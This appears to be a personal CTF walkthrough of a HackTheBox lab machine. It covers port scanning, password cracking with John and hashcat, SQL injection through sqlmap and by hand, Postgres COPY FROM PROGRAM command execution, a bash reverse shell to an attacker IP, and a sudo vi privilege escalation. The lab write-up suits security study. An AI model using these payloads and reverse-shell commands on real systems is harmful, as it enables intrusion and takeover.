This box has several problems with connectivity, but still very juicy 😊
As the previous boxes, I use simple Nmap command to start port scanning and reconnaisance. Maybe most of the boxes in "Starting Point" don’t need deep enumeration but Nmap. For explanation about nmap syntax and its parameter, I usually visit this site: https://explainshell.com/ and paste the whole command to query:
nmap -sV -n -vv -Pn -T4 -p- -A 10.10.10.28 — open
The result has only 3 services for us to discover. Nmap scan reveals 3 open ports running, for FTP, SSH and Apache respectively.
PORT STATE SERVICE REASON VERSION21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.322/tcp open ssh syn-ack ttl 63 OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
First of all, I considered the ftp credential i had grab from the box "Oopsie", haha! It sounds great and I can easily login to this FTP server, use command below and enter user+password when it prompts:
After login, you can use command
help to show all possible commands that can be used here. Then, let’s use command
ls -la to display all things contained. You will find the sole file called
backup.zip in the folder and use
get command to download it to your Attacker machine.
Extraction of this compressed file failed as it’s password protected. Temporarily, I return to enumerate the web directories because we still have the port 80. However, with
dirsearch, I aslo don’t find anything helpful exciting. "
View page source" or BurpSuite to capture http traffic don’t help me grasp anything else helpful, too.
sudo python3 dirsearch.py -u http://10.10.10.46/ -e html,js,php,old,bak
I’ve found nothing in the login page. Perhaps we need to extract the zipped file to fetch the credentails to log in again.
I was actually stuck at this step and don’t know how to move forward, and I decided to read the walkthrough 😌. Using "John the Ripper" tool to crack the archive password make me a little confused. So I thought HackTheBox never uses brute-force tools, it’s my fault. To extract this archive, we need a utility from John "
zip2john" to accomplish. Peruse this article for
zip2john usage, and also other articles for more interesting things. Raj Chandel is my favorite author and thank him a lot.
Now John cannot directly crack this key, first, we will have to change its format, which can be done using "
zip2john backup.zip > crack.txt
Now let’s use John the Ripper to crack this hash with the famous wordlist
rockyou.txt. Great! We have successfully cracked the passphrase used to create the key to be ''741852963''
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
There are 2 files compressed inside:
index.php. The file
stype.css seems to have no value, meanwhile,
index.php has the credential we can make use of.
Looking at the PHP source code, we can find a login check. The input password is hashed and compared to the MD5 hash:
2cb42f8734ea607eefed3b70af13bbd3. Another way, you can use this online to identify hash type: Hash Identifier. With a simple hash string, we can use CrackStation to get the original text. With other complex hash types, we can use the tool called Hashcat. Hashcat is one of the world’s fastest and most advanced password recovery tool, syntax can be checked here.
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
-m : Hash type/mode, value 0 is for MD5 identification
hash.txt : Our hash string
/usr/share/wordlists/rockyou.txt : Location of wordlist file, rockyou.txt is used here once again.
The password is cracked as qwerty789 .
Now let’s try to log in to the web page. It seems that there’s only one page "Dashboard" on this web server.
I tried to enumerate much more with the credential fetched and
dirb tool command. The result actually made me upset, nothing left or us to explore.
dirb http://10.10.10.46/ /usr/share/wordlists/dirb/common.txt -u "admin:qwerty789"
At this point, we have 2 ways to exploit this website. You can use
sqlmap to automate the process to determine if this webpage is vulnerable to SQL injections or not (Method 1). However, it’s better to try to perform SQL injections manually to gain a stronger knowledge of how injections work (Method 2).
Method 1: Automatic way (using sqlmap)
The page is found to host a Car Catalogue, and contains functionality to search for products. Searching for a term results in the following request.
The page takes in a GET request with the parameter
On Firefox browser, right-click the page and select
Inspect Element. Click the
Storage tab and copy the PHP Session ID.
We can construct the Sqlmap query as follows:
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=3bunoafekqn7uoob66h4rbn57a"
Sqlmap found the 'search' parameter to be vulnerable to multiple injections, and identified the backend DBMS to be PostgreSQL. Getting code execution in PostgreSQL is trivial using the
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=3bunoafekqn7uoob66h4rbn57a" --os-shell
If this has not been working for you, then just shows error message: "unable to prompt for an interactive operating system shell via the back-end DBMS because stacked queries SQL injection is not supported". Let’s try the command below to flush any previous session information for the current target:
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=3bunoafekqn7uoob66h4rbn57a" --flush-session
After that, please try
--os-shell again, you will get os-shell prompted:
This can be used to execute a bash reverse shell connection. Of course, before you enter the following command, you must have a opening locally with
sudo nc -lvnp 80.
bash -c 'bash -i >& /dev/tcp/<your IP address>/80 0>&1'
This above snippet runs a new interactive instance of bash (
bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output
&1 and standard error
&2 are sent through this connection (
>& /dev/tcp/HOST/PORT), and standard input
&0 is read through this connection (
0>&1 — this should be
0>&1 works too). If you’re not clear on redirection and file descriptors in Bash environment, you can check it here.
If you run the
whoami command, you’ll see we are playing as the user
Method 2: Exploit manually using SQLi (recommended)
To determine if this webpage is vulnerable to SQL injections or not, try entering an
' into the search box → Hit enter.
You should see a similar message: "ERROR: unterminated quoted string at or near "'" LINE 1: Select * from cars where name ilike '%'%' ^". This proves that SQL injections are possible. Through this, we may also guess the back-end SQL query structure. I highly recommend using Portswigger.com for their free Web Training Academy. This will greatly enhance your skills when it comes to penetrating websites.
Next, we will guess the number of columns with some tricks. Using
order by keyword in the injection, we can easily determine column number in the table.
If we input "a' order by 6 --" to the search box, we will get the message: "ERROR: ORDER BY position 6 is not in select list LINE 1: Select * from cars where name ilike '%a' order by 6 --%' ^". This implies that the result doesn’t have 6 columns so it cannot be sorted by the column '6'.
It works! Although visually it looks like 4 columns, there is likely an ID column that is not being displayed → We have 5 columns totally in this query. This is why we did the column enumaration first.
Next step, enter the following into the search bar:
a' UNION select 'ID','name','type','fuel','engine'; --
This confirms that the first column data must be an integer. So this is the time when we get the DBMS version using SQLi:
a' union select '0',version(),'type','fuel','engine' --
The result retrieved is the same with one when we used Sqlmap, even more detailed. With DBMS information, I followed a guide for Postgres command execution here. To perform the RCE attack, you simply follow these steps:
1) [Optional] Drop the table you want to use if it already exists
a'; DROP TABLE IF EXISTS cmd_exec; --
2) Create the table you want to hold the command output
a'; CREATE TABLE cmd_exec(cmd_output text); --
3) Run the system command via the COPY FROM PROGRAM function
a'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.175/80 0>&1"'; --
After reverse shell can be started, we easily navigate some directories on this web server. Note that the default document root for Apache is /var/www/ (before Ubuntu 14.04) or /var/www/html/ (Ubuntu 14.04 and later), we
cd to this directory and find
dashboard.php (Admin Dashboard).
cat to view the file content:
I grabbed from the web server, we see the Postgres user credential in the connection string used to connect to the PostgreSQL database. Try using to connect SSH later.
Let’s upgrade to a tty shell and continue enumeration. To get a tty interactive shell, we can use a simple Python command
python3 -c "import pty; pty.spawn('/bin/bash')" or connect SSH directly with the credential looted
sudo -l, we are able to see the privileges the user
postgres can run.
Notice that we need the password to view the user’s sudo privileges. To have the shell prompt us for password input, we need a tty interactive shell. Unless you upgrade your shell to a tty, you will get the error "no tty present and no askpass program specified".
At the very bottom, we can see
postgres can run the following:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
From here, exit
vim by entering either of the following:
All four of the above commands will tell
vim to exit & spawn a new shell which should spawn us as the user
root privileges, you will easily find the "root.txt" flag in
/root/. Let’s explore it by yourself cause I won’t post the flag here.
Finally, this is the end for the 3rd box on my journey to pursue OSCP certification. All feedback from you will help me complement the details much more when possible. It is a long road ahead for me 💪
THANKS FOR READING AND SUPPORTING!